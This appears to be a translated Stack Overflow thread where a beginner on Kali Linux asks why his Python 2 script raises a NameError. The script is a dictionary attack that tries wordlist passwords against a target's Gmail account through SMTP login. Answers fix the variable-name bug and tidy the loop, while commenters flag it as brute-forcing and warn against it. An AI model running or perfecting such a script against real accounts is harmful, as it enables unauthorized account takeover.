【问题标题】:PYTHON 2.7.9: NameError: name '___' is not definedPYTHON 2.7.9:NameError:未定义名称“___”
【发布时间】:2016-01-08 17:06:35
【问题描述】:

我是编程新手,但我正在尝试创建以下脚本。你能告诉我我做错了什么吗?

import smtplib

smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()

user = raw_input("Enter the target's email address: ")
Passwfile = raw_input("Enter the password file name: ")
Passwfile = open(passwfile, "r")

for password in passwfile:
        try:
                smtpserver.login(user, password)
                print "[+] Password Found: %s" % password
                break;
        except smtplib.SMTPAuthenticationError:
                print "[!] Password Incorrect: %s" % password

当我添加我的 wordlist.lst 文件时,我的终端中会出现一条错误消息,内容如下:

File "gmail.py", line 9, in <module>
Passwfile = open(passwfile, "r"
NameError: name 'passwfile' is not defined

请各位高手给点建议好吗? 我在 Kali Linux 上使用 Python 2.7.9(预先安装了 Python 2,所以我决定学习它而不是尝试 Python 3。)

【问题讨论】:

  • 因为Passwfile != passwfile区分大小写,并且不要在try语句中加上break,所以还必须用f.read();读取文件内容
  • 顺便说一下,这个脚本看起来像是 gmail 帐户的暴力破解脚本:D
  • 我是黑客新手,我试图入侵自己的帐户只是为了学习。
  • @RustyFlick:是的,这是个坏主意。只使用您控制的系统或专门为此目的设置的系统; Gmail 不属于这些类别之一,即使您的目标是您自己的帐户。
  • 是的,你是对的。我想我现在应该学习它,等到我控制/拥有系统权限

标签: python dictionary-attack


【解决方案1】:

没有定义名为passwfile 的变量。但是,有一个名为 Passwfile(注意大写),您应该使用它,因为标识符在 Python 中是区分大小写的。

请注意,在 Python 中,约定是对变量名使用全部小写。大写的标识符通常用于类名。所以你的代码可以读取:

user = raw_input("Enter the target's email address: ")
password_filename = raw_input("Enter the password file name: ")
password_file = open(password_filename, "r")

for password in password_file:

例如。

有关标识符和其他样式问题的更多信息,请参阅PEP 8。这里建议变量使用下划线分隔的小写单词,因此更喜欢password_file 而不是passwfile

另一个有用的提示是使用with 语句在上下文管理器中打开文件:

user = raw_input("Enter the target's email address: ")
password_filename = raw_input("Enter the password file name: ")

with open(password_filename) as password_file:
    for password in password_file:
        # nasty stuff here

上下文管理器将确保文件始终正确关闭,例如,如果存在未处理的异常。

最后,用它来做善事,而不是作恶:)

【讨论】:

  • 非常感谢你们,我会尝试这个解决方案。并感谢您向我解释! :) 我想学习它,而不仅仅是复制/粘贴。
  • 我现在就试试这个新的解决方案。另外,你说“用它来做善事,而不是作恶”我会注意到我是黑客的新手,我只是为了学习如何侵入我的 OWN 电子邮件帐户,仅此而已。 :)
  • @C1sc0:您可以使用文件句柄在 for 循环中遍历文件中的行,如图所示。这应该不是问题。
  • 虽然它不再大写,但这是我收到的错误: File "gmail.py", line 9, in Passwfile = open(passwfile, "r") NameError: name ' passwfile' 没有定义
  • 报错还是提示passwfile没有定义。您仍在使用Passwfile 作为文件句柄的名称,因此推测您仍在使用它作为用户输入的文件的名称。
【解决方案2】:

检查线路

Passwfile = raw_input("Enter the password file name: ")

在这里,您将raw_input 存储在变量 Passwfile 中(P 为大写)

【讨论】:

    猜你喜欢
    • 2013-01-26
    • 1970-01-01
    • 2020-09-04
    • 2021-10-18
    • 2016-08-09
    • 2021-07-22
    • 1970-01-01
    相关资源
    最近更新 更多